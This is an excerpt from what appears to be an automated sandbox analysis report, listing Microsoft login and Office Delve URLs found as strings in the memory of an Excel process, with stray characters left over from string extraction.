Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeI
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeIU
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeK
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeN
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeP
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeQ
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeRZ
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeS
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeTX
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeUY
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeV
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeW
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeX
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeXUR
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeb
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizecome
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorized
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeeV
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizefic?
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeficp0
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeg
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeize
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeize)
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizel
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizen
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeo
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizepZ
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizerX
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizesY
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizet
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizetV
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizete
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeu
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizewU
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizex
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizey
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize~
Source: EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.886851258.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829883976.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.842980218.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.982109381.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843787373.0000000012A13000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975647498.0000000012A2B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.847529633.0000000012A13000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
